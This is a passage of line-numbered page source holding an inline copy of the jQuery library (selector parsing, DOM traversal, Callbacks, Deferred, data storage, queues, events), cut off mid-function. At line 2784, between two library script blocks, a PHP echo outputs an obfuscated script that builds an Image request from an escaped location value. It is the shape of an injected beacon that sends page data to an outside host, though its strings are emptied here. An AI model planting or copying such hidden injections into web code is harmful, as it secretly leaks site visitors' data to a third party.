1900 if (!selector) {
1901 return this
1902 }
1903 if (typeof selector === "string") {
1904 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1905 match = [null, selector, null]
1906 } else {
1907 match = rquickExpr.exec(selector)
1908 }
1909 if (match && (match[1] || !context)) {
1910 if (match[1]) {
1911 context = context instanceof jQuery ? context[0] : context;
1912 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1913 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1914 for (match in context) {
1915 if (jQuery.isFunction(this[match])) {
1916 this[match](context[match])
1917 } else {
1918 this.attr(match, context[match])
1919 }
1920 }
1921 }
1922 return this
1923 } else {
1924 elem = document.getElementById(match[2]);
1925 if (elem && elem.parentNode) {
1926 if (elem.id !== match[2]) {
1927 return rootjQuery.find(selector)
1928 }
1929 this.length = 1;
1930 this[0] = elem
1931 }
1932 this.context = document;
1933 this.selector = selector;
1934 return this
1935 }
1936 } else if (!context || context.jquery) {
1937 return (context || rootjQuery).find(selector)
1938 } else {
1939 return this.constructor(context).find(selector)
1940 }
1941 } else if (selector.nodeType) {
1942 this.context = this[0] = selector;
1943 this.length = 1;
1944 return this
1945 } else if (jQuery.isFunction(selector)) {
1946 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1947 }
1948 if (selector.selector !== undefined) {
1949 this.selector = selector.selector;
1950 this.context = selector.context
1951 }
1952 return jQuery.makeArray(selector, this)
1953 };
1954 init.prototype = jQuery.fn;
1955 rootjQuery = jQuery(document);
1956 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1957 guaranteedUnique = {
1958 children: true,
1959 contents: true,
1960 next: true,
1961 prev: true
1962 };
1963 jQuery.extend({
1964 dir: function(elem, dir, until) {
1965 var matched = [],
1966 cur = elem[dir];
1967 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1968 if (cur.nodeType === 1) {
1969 matched.push(cur)
1970 }
1971 cur = cur[dir]
1972 }
1973 return matched
1974 },
1975 sibling: function(n, elem) {
1976 var r = [];
1977 for (; n; n = n.nextSibling) {
1978 if (n.nodeType === 1 && n !== elem) {
1979 r.push(n)
1980 }
1981 }
1982 return r
1983 }
1984 });
1985 jQuery.fn.extend({
1986 has: function(target) {
1987 var i, targets = jQuery(target, this),
1988 len = targets.length;
1989 return this.filter(function() {
1990 for (i = 0; i < len; i++) {
1991 if (jQuery.contains(this, targets[i])) {
1992 return true
1993 }
1994 }
1995 })
1996 },
1997 closest: function(selectors, context) {
1998 var cur, i = 0,
1999 l = this.length,
2000 matched = [],
2001 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
2002 for (; i < l; i++) {
2003 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
2004 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
2005 matched.push(cur);
2006 break
2007 }
2008 }
2009 }
2010 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
2011 },
2012 index: function(elem) {
2013 if (!elem) {
2014 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
2015 }
2016 if (typeof elem === "string") {
2017 return jQuery.inArray(this[0], jQuery(elem))
2018 }
2019 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
2020 },
2021 add: function(selector, context) {
2022 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
2023 },
2024 addBack: function(selector) {
2025 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
2026 }
2027 });
2028
2029 function sibling(cur, dir) {
2030 do {
2031 cur = cur[dir]
2032 } while (cur && cur.nodeType !== 1);
2033 return cur
2034 }
2035 jQuery.each({
2036 parent: function(elem) {
2037 var parent = elem.parentNode;
2038 return parent && parent.nodeType !== 11 ? parent : null
2039 },
2040 parents: function(elem) {
2041 return jQuery.dir(elem, "parentNode")
2042 },
2043 parentsUntil: function(elem, i, until) {
2044 return jQuery.dir(elem, "parentNode", until)
2045 },
2046 next: function(elem) {
2047 return sibling(elem, "nextSibling")
2048 },
2049 prev: function(elem) {
2050 return sibling(elem, "previousSibling")
2051 },
2052 nextAll: function(elem) {
2053 return jQuery.dir(elem, "nextSibling")
2054 },
2055 prevAll: function(elem) {
2056 return jQuery.dir(elem, "previousSibling")
2057 },
2058 nextUntil: function(elem, i, until) {
2059 return jQuery.dir(elem, "nextSibling", until)
2060 },
2061 prevUntil: function(elem, i, until) {
2062 return jQuery.dir(elem, "previousSibling", until)
2063 },
2064 siblings: function(elem) {
2065 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
2066 },
2067 children: function(elem) {
2068 return jQuery.sibling(elem.firstChild)
2069 },
2070 contents: function(elem) {
2071 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
2072 }
2073 }, function(name, fn) {
2074 jQuery.fn[name] = function(until, selector) {
2075 var ret = jQuery.map(this, fn, until);
2076 if (name.slice(-5) !== "Until") {
2077 selector = until
2078 }
2079 if (selector && typeof selector === "string") {
2080 ret = jQuery.filter(selector, ret)
2081 }
2082 if (this.length > 1) {
2083 if (!guaranteedUnique[name]) {
2084 ret = jQuery.unique(ret)
2085 }
2086 if (rparentsprev.test(name)) {
2087 ret = ret.reverse()
2088 }
2089 }
2090 return this.pushStack(ret)
2091 }
2092 });
2093 var rnotwhite = (/\S+/g);
2094 var optionsCache = {};
2095
2096 function createOptions(options) {
2097 var object = optionsCache[options] = {};
2098 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
2099 object[flag] = true
2100 });
2101 return object
2102 }
2103 jQuery.Callbacks = function(options) {
2104 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
2105 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
2106 stack = !options.once && [],
2107 fire = function(data) {
2108 memory = options.memory && data;
2109 fired = true;
2110 firingIndex = firingStart || 0;
2111 firingStart = 0;
2112 firingLength = list.length;
2113 firing = true;
2114 for (; list && firingIndex < firingLength; firingIndex++) {
2115 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
2116 memory = false;
2117 break
2118 }
2119 }
2120 firing = false;
2121 if (list) {
2122 if (stack) {
2123 if (stack.length) {
2124 fire(stack.shift())
2125 }
2126 } else if (memory) {
2127 list = []
2128 } else {
2129 self.disable()
2130 }
2131 }
2132 },
2133 self = {
2134 add: function() {
2135 if (list) {
2136 var start = list.length;
2137 (function add(args) {
2138 jQuery.each(args, function(_, arg) {
2139 var type = jQuery.type(arg);
2140 if (type === "function") {
2141 if (!options.unique || !self.has(arg)) {
2142 list.push(arg)
2143 }
2144 } else if (arg && arg.length && type !== "string") {
2145 add(arg)
2146 }
2147 })
2148 })(arguments);
2149 if (firing) {
2150 firingLength = list.length
2151 } else if (memory) {
2152 firingStart = start;
2153 fire(memory)
2154 }
2155 }
2156 return this
2157 },
2158 remove: function() {
2159 if (list) {
2160 jQuery.each(arguments, function(_, arg) {
2161 var index;
2162 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2163 list.splice(index, 1);
2164 if (firing) {
2165 if (index <= firingLength) {
2166 firingLength--
2167 }
2168 if (index <= firingIndex) {
2169 firingIndex--
2170 }
2171 }
2172 }
2173 })
2174 }
2175 return this
2176 },
2177 has: function(fn) {
2178 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2179 },
2180 empty: function() {
2181 list = [];
2182 firingLength = 0;
2183 return this
2184 },
2185 disable: function() {
2186 list = stack = memory = undefined;
2187 return this
2188 },
2189 disabled: function() {
2190 return !list
2191 },
2192 lock: function() {
2193 stack = undefined;
2194 if (!memory) {
2195 self.disable()
2196 }
2197 return this
2198 },
2199 locked: function() {
2200 return !stack
2201 },
2202 fireWith: function(context, args) {
2203 if (list && (!fired || stack)) {
2204 args = args || [];
2205 args = [context, args.slice ? args.slice() : args];
2206 if (firing) {
2207 stack.push(args)
2208 } else {
2209 fire(args)
2210 }
2211 }
2212 return this
2213 },
2214 fire: function() {
2215 self.fireWith(this, arguments);
2216 return this
2217 },
2218 fired: function() {
2219 return !!fired
2220 }
2221 };
2222 return self
2223 };
2224 jQuery.extend({
2225 Deferred: function(func) {
2226 var tuples = [
2227 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2228 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2229 ["notify", "progress", jQuery.Callbacks("memory")]
2230 ],
2231 state = "pending",
2232 promise = {
2233 state: function() {
2234 return state
2235 },
2236 always: function() {
2237 deferred.done(arguments).fail(arguments);
2238 return this
2239 },
2240 then: function() {
2241 var fns = arguments;
2242 return jQuery.Deferred(function(newDefer) {
2243 jQuery.each(tuples, function(i, tuple) {
2244 var fn = jQuery.isFunction(fns[i]) && fns[i];
2245 deferred[tuple[1]](function() {
2246 var returned = fn && fn.apply(this, arguments);
2247 if (returned && jQuery.isFunction(returned.promise)) {
2248 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2249 } else {
2250 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2251 }
2252 })
2253 });
2254 fns = null
2255 }).promise()
2256 },
2257 promise: function(obj) {
2258 return obj != null ? jQuery.extend(obj, promise) : promise
2259 }
2260 },
2261 deferred = {};
2262 promise.pipe = promise.then;
2263 jQuery.each(tuples, function(i, tuple) {
2264 var list = tuple[2],
2265 stateString = tuple[3];
2266 promise[tuple[1]] = list.add;
2267 if (stateString) {
2268 list.add(function() {
2269 state = stateString
2270 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2271 }
2272 deferred[tuple[0]] = function() {
2273 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2274 return this
2275 };
2276 deferred[tuple[0] + "With"] = list.fireWith
2277 });
2278 promise.promise(deferred);
2279 if (func) {
2280 func.call(deferred, deferred)
2281 }
2282 return deferred
2283 },
2284 when: function(subordinate) {
2285 var i = 0,
2286 resolveValues = slice.call(arguments),
2287 length = resolveValues.length,
2288 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2289 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2290 updateFunc = function(i, contexts, values) {
2291 return function(value) {
2292 contexts[i] = this;
2293 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2294 if (values === progressValues) {
2295 deferred.notifyWith(contexts, values)
2296 } else if (!(--remaining)) {
2297 deferred.resolveWith(contexts, values)
2298 }
2299 }
2300 },
2301 progressValues, progressContexts, resolveContexts;
2302 if (length > 1) {
2303 progressValues = new Array(length);
2304 progressContexts = new Array(length);
2305 resolveContexts = new Array(length);
2306 for (; i < length; i++) {
2307 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2308 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2309 } else {
2310 --remaining
2311 }
2312 }
2313 }
2314 if (!remaining) {
2315 deferred.resolveWith(resolveContexts, resolveValues)
2316 }
2317 return deferred.promise()
2318 }
2319 });
2320 var readyList;
2321 jQuery.fn.ready = function(fn) {
2322 jQuery.ready.promise().done(fn);
2323 return this
2324 };
2325 jQuery.extend({
2326 isReady: false,
2327 readyWait: 1,
2328 holdReady: function(hold) {
2329 if (hold) {
2330 jQuery.readyWait++
2331 } else {
2332 jQuery.ready(true)
2333 }
2334 },
2335 ready: function(wait) {
2336 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2337 return
2338 }
2339 if (!document.body) {
2340 return setTimeout(jQuery.ready)
2341 }
2342 jQuery.isReady = true;
2343 if (wait !== true && --jQuery.readyWait > 0) {
2344 return
2345 }
2346 readyList.resolveWith(document, [jQuery]);
2347 if (jQuery.fn.triggerHandler) {
2348 jQuery(document).triggerHandler("ready");
2349 jQuery(document).off("ready")
2350 }
2351 }
2352 });
2353
2354 function detach() {
2355 if (document.addEventListener) {
2356 document.removeEventListener("DOMContentLoaded", completed, false);
2357 window.removeEventListener("load", completed, false)
2358 } else {
2359 document.detachEvent("onreadystatechange", completed);
2360 window.detachEvent("onload", completed)
2361 }
2362 }
2363
2364 function completed() {
2365 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2366 detach();
2367 jQuery.ready()
2368 }
2369 }
2370 jQuery.ready.promise = function(obj) {
2371 if (!readyList) {
2372 readyList = jQuery.Deferred();
2373 if (document.readyState === "complete") {
2374 setTimeout(jQuery.ready)
2375 } else if (document.addEventListener) {
2376 document.addEventListener("DOMContentLoaded", completed, false);
2377 window.addEventListener("load", completed, false)
2378 } else {
2379 document.attachEvent("onreadystatechange", completed);
2380 window.attachEvent("onload", completed);
2381 var top = false;
2382 try {
2383 top = window.frameElement == null && document.documentElement
2384 } catch (e) {}
2385 if (top && top.doScroll) {
2386 (function doScrollCheck() {
2387 if (!jQuery.isReady) {
2388 try {
2389 top.doScroll("left")
2390 } catch (e) {
2391 return setTimeout(doScrollCheck, 50)
2392 }
2393 detach();
2394 jQuery.ready()
2395 }
2396 })()
2397 }
2398 }
2399 }
2400 return readyList.promise(obj)
2401 };
2402 var strundefined = typeof undefined;
2403 var i;
2404 for (i in jQuery(support)) {
2405 break
2406 }
2407 support.ownLast = i !== "0";
2408 support.inlineBlockNeedsLayout = false;
2409 jQuery(function() {
2410 var val, div, body, container;
2411 body = document.getElementsByTagName("body")[0];
2412 if (!body || !body.style) {
2413 return
2414 }
2415 div = document.createElement("div");
2416 container = document.createElement("div");
2417 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2418 body.appendChild(container).appendChild(div);
2419 if (typeof div.style.zoom !== strundefined) {
2420 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2421 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2422 if (val) {
2423 body.style.zoom = 1
2424 }
2425 }
2426 body.removeChild(container)
2427 });
2428 (function() {
2429 var div = document.createElement("div");
2430 if (support.deleteExpando == null) {
2431 support.deleteExpando = true;
2432 try {
2433 delete div.test
2434 } catch (e) {
2435 support.deleteExpando = false
2436 }
2437 }
2438 div = null
2439 })();
2440 jQuery.acceptData = function(elem) {
2441 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2442 nodeType = +elem.nodeType || 1;
2443 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2444 };
2445 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2446 rmultiDash = /([A-Z])/g;
2447
2448 function dataAttr(elem, key, data) {
2449 if (data === undefined && elem.nodeType === 1) {
2450 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2451 data = elem.getAttribute(name);
2452 if (typeof data === "string") {
2453 try {
2454 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2455 } catch (e) {}
2456 jQuery.data(elem, key, data)
2457 } else {
2458 data = undefined
2459 }
2460 }
2461 return data
2462 }
2463
2464 function isEmptyDataObject(obj) {
2465 var name;
2466 for (name in obj) {
2467 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2468 continue
2469 }
2470 if (name !== "toJSON") {
2471 return false
2472 }
2473 }
2474 return true
2475 }
2476
2477 function internalData(elem, name, data, pvt) {
2478 if (!jQuery.acceptData(elem)) {
2479 return
2480 }
2481 var ret, thisCache, internalKey = jQuery.expando,
2482 isNode = elem.nodeType,
2483 cache = isNode ? jQuery.cache : elem,
2484 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2485 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2486 return
2487 }
2488 if (!id) {
2489 if (isNode) {
2490 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2491 } else {
2492 id = internalKey
2493 }
2494 }
2495 if (!cache[id]) {
2496 cache[id] = isNode ? {} : {
2497 toJSON: jQuery.noop
2498 }
2499 }
2500 if (typeof name === "object" || typeof name === "function") {
2501 if (pvt) {
2502 cache[id] = jQuery.extend(cache[id], name)
2503 } else {
2504 cache[id].data = jQuery.extend(cache[id].data, name)
2505 }
2506 }
2507 thisCache = cache[id];
2508 if (!pvt) {
2509 if (!thisCache.data) {
2510 thisCache.data = {}
2511 }
2512 thisCache = thisCache.data
2513 }
2514 if (data !== undefined) {
2515 thisCache[jQuery.camelCase(name)] = data
2516 }
2517 if (typeof name === "string") {
2518 ret = thisCache[name];
2519 if (ret == null) {
2520 ret = thisCache[jQuery.camelCase(name)]
2521 }
2522 } else {
2523 ret = thisCache
2524 }
2525 return ret
2526 }
2527
2528 function internalRemoveData(elem, name, pvt) {
2529 if (!jQuery.acceptData(elem)) {
2530 return
2531 }
2532 var thisCache, i, isNode = elem.nodeType,
2533 cache = isNode ? jQuery.cache : elem,
2534 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2535 if (!cache[id]) {
2536 return
2537 }
2538 if (name) {
2539 thisCache = pvt ? cache[id] : cache[id].data;
2540 if (thisCache) {
2541 if (!jQuery.isArray(name)) {
2542 if (name in thisCache) {
2543 name = [name]
2544 } else {
2545 name = jQuery.camelCase(name);
2546 if (name in thisCache) {
2547 name = [name]
2548 } else {
2549 name = name.split(" ")
2550 }
2551 }
2552 } else {
2553 name = name.concat(jQuery.map(name, jQuery.camelCase))
2554 }
2555 i = name.length;
2556 while (i--) {
2557 delete thisCache[name[i]]
2558 }
2559 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2560 return
2561 }
2562 }
2563 }
2564 if (!pvt) {
2565 delete cache[id].data;
2566 if (!isEmptyDataObject(cache[id])) {
2567 return
2568 }
2569 }
2570 if (isNode) {
2571 jQuery.cleanData([elem], true)
2572 } else if (support.deleteExpando || cache != cache.window) {
2573 delete cache[id]
2574 } else {
2575 cache[id] = null
2576 }
2577 }
2578 jQuery.extend({
2579 cache: {},
2580 noData: {
2581 "applet ": true,
2582 "embed ": true,
2583 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2584 },
2585 hasData: function(elem) {
2586 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2587 return !!elem && !isEmptyDataObject(elem)
2588 },
2589 data: function(elem, name, data) {
2590 return internalData(elem, name, data)
2591 },
2592 removeData: function(elem, name) {
2593 return internalRemoveData(elem, name)
2594 },
2595 _data: function(elem, name, data) {
2596 return internalData(elem, name, data, true)
2597 },
2598 _removeData: function(elem, name) {
2599 return internalRemoveData(elem, name, true)
2600 }
2601 });
2602 jQuery.fn.extend({
2603 data: function(key, value) {
2604 var i, name, data, elem = this[0],
2605 attrs = elem && elem.attributes;
2606 if (key === undefined) {
2607 if (this.length) {
2608 data = jQuery.data(elem);
2609 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2610 i = attrs.length;
2611 while (i--) {
2612 if (attrs[i]) {
2613 name = attrs[i].name;
2614 if (name.indexOf("data-") === 0) {
2615 name = jQuery.camelCase(name.slice(5));
2616 dataAttr(elem, name, data[name])
2617 }
2618 }
2619 }
2620 jQuery._data(elem, "parsedAttrs", true)
2621 }
2622 }
2623 return data
2624 }
2625 if (typeof key === "object") {
2626 return this.each(function() {
2627 jQuery.data(this, key)
2628 })
2629 }
2630 return arguments.length > 1 ? this.each(function() {
2631 jQuery.data(this, key, value)
2632 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2633 },
2634 removeData: function(key) {
2635 return this.each(function() {
2636 jQuery.removeData(this, key)
2637 })
2638 }
2639 });
2640 jQuery.extend({
2641 queue: function(elem, type, data) {
2642 var queue;
2643 if (elem) {
2644 type = (type || "fx") + "queue";
2645 queue = jQuery._data(elem, type);
2646 if (data) {
2647 if (!queue || jQuery.isArray(data)) {
2648 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2649 } else {
2650 queue.push(data)
2651 }
2652 }
2653 return queue || []
2654 }
2655 },
2656 dequeue: function(elem, type) {
2657 type = type || "fx";
2658 var queue = jQuery.queue(elem, type),
2659 startLength = queue.length,
2660 fn = queue.shift(),
2661 hooks = jQuery._queueHooks(elem, type),
2662 next = function() {
2663 jQuery.dequeue(elem, type)
2664 };
2665 if (fn === "inprogress") {
2666 fn = queue.shift();
2667 startLength--
2668 }
2669 if (fn) {
2670 if (type === "fx") {
2671 queue.unshift("inprogress")
2672 }
2673 delete hooks.stop;
2674 fn.call(elem, next, hooks)
2675 }
2676 if (!startLength && hooks) {
2677 hooks.empty.fire()
2678 }
2679 },
2680 _queueHooks: function(elem, type) {
2681 var key = type + "queueHooks";
2682 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2683 empty: jQuery.Callbacks("once memory").add(function() {
2684 jQuery._removeData(elem, type + "queue");
2685 jQuery._removeData(elem, key)
2686 })
2687 })
2688 }
2689 });
2690 jQuery.fn.extend({
2691 queue: function(type, data) {
2692 var setter = 2;
2693 if (typeof type !== "string") {
2694 data = type;
2695 type = "fx";
2696 setter--
2697 }
2698 if (arguments.length < setter) {
2699 return jQuery.queue(this[0], type)
2700 }
2701 return data === undefined ? this : this.each(function() {
2702 var queue = jQuery.queue(this, type, data);
2703 jQuery._queueHooks(this, type);
2704 if (type === "fx" && queue[0] !== "inprogress") {
2705 jQuery.dequeue(this, type)
2706 }
2707 })
2708 },
2709 dequeue: function(type) {
2710 return this.each(function() {
2711 jQuery.dequeue(this, type)
2712 })
2713 },
2714 clearQueue: function(type) {
2715 return this.queue(type || "fx", [])
2716 },
2717 promise: function(type, obj) {
2718 var tmp, count = 1,
2719 defer = jQuery.Deferred(),
2720 elements = this,
2721 i = this.length,
2722 resolve = function() {
2723 if (!(--count)) {
2724 defer.resolveWith(elements, [elements])
2725 }
2726 };
2727 if (typeof type !== "string") {
2728 obj = type;
2729 type = undefined
2730 }
2731 type = type || "fx";
2732 while (i--) {
2733 tmp = jQuery._data(elements[i], type + "queueHooks");
2734 if (tmp && tmp.empty) {
2735 count++;
2736 tmp.empty.add(resolve)
2737 }
2738 }
2739 resolve();
2740 return defer.promise(obj)
2741 }
2742 });
2743 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2744 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2745 var isHidden = function(elem, el) {
2746 elem = el || elem;
2747 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2748 };
2749 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2750 var i = 0,
2751 length = elems.length,
2752 bulk = key == null;
2753 if (jQuery.type(key) === "object") {
2754 chainable = true;
2755 for (i in key) {
2756 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2757 }
2758 } else if (value !== undefined) {
2759 chainable = true;
2760 if (!jQuery.isFunction(value)) {
2761 raw = true
2762 }
2763 if (bulk) {
2764 if (raw) {
2765 fn.call(elems, value);
2766 fn = null
2767 } else {
2768 bulk = fn;
2769 fn = function(elem, key, value) {
2770 return bulk.call(jQuery(elem), value)
2771 }
2772 }
2773 }
2774 if (fn) {
2775 for (; i < length; i++) {
2776 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2777 }
2778 }
2779 }
2780 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2781 };
2782 var rcheckableType = (/^(?:checkbox|radio)$/i);
2783</script>
2784<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2785 <script>
2786 (function() {
2787 var input = document.createElement("input"),
2788 div = document.createElement("div"),
2789 fragment = document.createDocumentFragment();
2790 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2791 support.leadingWhitespace = div.firstChild.nodeType === 3;
2792 support.tbody = !div.getElementsByTagName("tbody").length;
2793 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2794 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2795 input.type = "checkbox";
2796 input.checked = true;
2797 fragment.appendChild(input);
2798 support.appendChecked = input.checked;
2799 div.innerHTML = "<textarea>x</textarea>";
2800 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2801 fragment.appendChild(div);
2802 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2803 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2804 support.noCloneEvent = true;
2805 if (div.attachEvent) {
2806 div.attachEvent("onclick", function() {
2807 support.noCloneEvent = false
2808 });
2809 div.cloneNode(true).click()
2810 }
2811 if (support.deleteExpando == null) {
2812 support.deleteExpando = true;
2813 try {
2814 delete div.test
2815 } catch (e) {
2816 support.deleteExpando = false
2817 }
2818 }
2819 })();
2820 (function() {
2821 var i, eventName, div = document.createElement("div");
2822 for (i in {
2823 submit: true,
2824 change: true,
2825 focusin: true
2826 }) {
2827 eventName = "on" + i;
2828 if (!(support[i + "Bubbles"] = eventName in window)) {
2829 div.setAttribute(eventName, "t");
2830 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2831 }
2832 }
2833 div = null
2834 })();
2835 var rformElems = /^(?:input|select|textarea)$/i,
2836 rkeyEvent = /^key/,
2837 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2838 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2839 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2840
2841 function returnTrue() {
2842 return true
2843 }
2844
2845 function returnFalse() {
2846 return false
2847 }
2848
2849 function safeActiveElement() {
2850 try {
2851 return document.activeElement
2852 } catch (err) {}
2853 }
2854 jQuery.event = {
2855 global: {},
2856 add: function(elem, types, handler, data, selector) {
2857 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2858 if (!elemData) {
2859 return
2860 }
2861 if (handler.handler) {
2862 handleObjIn = handler;
2863 handler = handleObjIn.handler;
2864 selector = handleObjIn.selector
2865 }
2866 if (!handler.guid) {
2867 handler.guid = jQuery.guid++
2868 }
2869 if (!(events = elemData.events)) {
2870 events = elemData.events = {}
2871 }
2872 if (!(eventHandle = elemData.handle)) {
2873 eventHandle = elemData.handle = function(e) {
2874 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2875 };
2876 eventHandle.elem = elem
2877 }
2878 types = (types || "").match(rnotwhite) || [""];
2879 t = types.length;
2880 while (t--) {
2881 tmp = rtypenamespace.exec(types[t]) || [];
2882 type = origType = tmp[1];
2883 namespaces = (tmp[2] || "").split(".").sort();
2884 if (!type) {
2885 continue
2886 }
2887 special = jQuery.event.special[type] || {};
2888 type = (selector ? special.delegateType : special.bindType) || type;
2889 special = jQuery.event.special[type] || {};
2890 handleObj = jQuery.extend({
2891 type: type,
2892 origType: origType,
2893 data: data,
2894 handler: handler,
2895 guid: handler.guid,
2896 selector: selector,
2897 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2898 namespace: namespaces.join(".")
2899 }, handleObjIn);
2900 if (!(handlers = events[type])) {
2901 handlers = events[type] = [];
2902 handlers.delegateCount = 0;
2903 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2904 if (elem.addEventListener) {
2905 elem.addEventListener(type, eventHandle, false)
2906 } else if (elem.attachEvent) {
2907 elem.attachEvent("on" + type, eventHandle)
2908 }
2909 }
2910 }
2911 if (special.add) {
2912 special.add.call(elem, handleObj);
2913 if (!handleObj.handler.guid) {
2914 handleObj.handler.guid = handler.guid
2915 }
2916 }
2917 if (selector) {
2918 handlers.splice(handlers.delegateCount++, 0, handleObj)
2919 } else {
2920 handlers.push(handleObj)
2921 }
2922 jQuery.event.global[type] = true
2923 }
2924 elem = null
2925 },
2926 remove: function(elem, types, handler, selector, mappedTypes) {
2927 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2928 if (!elemData || !(events = elemData.events)) {
2929 return
2930 }
2931 types = (types || "").match(rnotwhite) || [""];
2932 t = types.length;
2933 while (t--) {
2934 tmp = rtypenamespace.exec(types[t]) || [];
2935 type = origType = tmp[1];
2936 namespaces = (tmp[2] || "").split(".").sort();
2937 if (!type) {
2938 for (type in events) {
2939 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2940 }
2941 continue
2942 }
2943 special = jQuery.event.special[type] || {};
2944 type = (selector ? special.delegateType : special.bindType) || type;
2945 handlers = events[type] || [];
2946 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2947 origCount = j = handlers.length;
2948 while (j--) {
2949 handleObj = handlers[j];
2950 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2951 handlers.splice(j, 1);
2952 if (handleObj.selector) {
2953 handlers.delegateCount--
2954 }
2955 if (special.remove) {
2956 special.remove.call(elem, handleObj)
2957 }
2958 }
2959 }
2960 if (origCount && !handlers.length) {
2961 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2962 jQuery.removeEvent(elem, type, elemData.handle)
2963 }
2964 delete events[type]
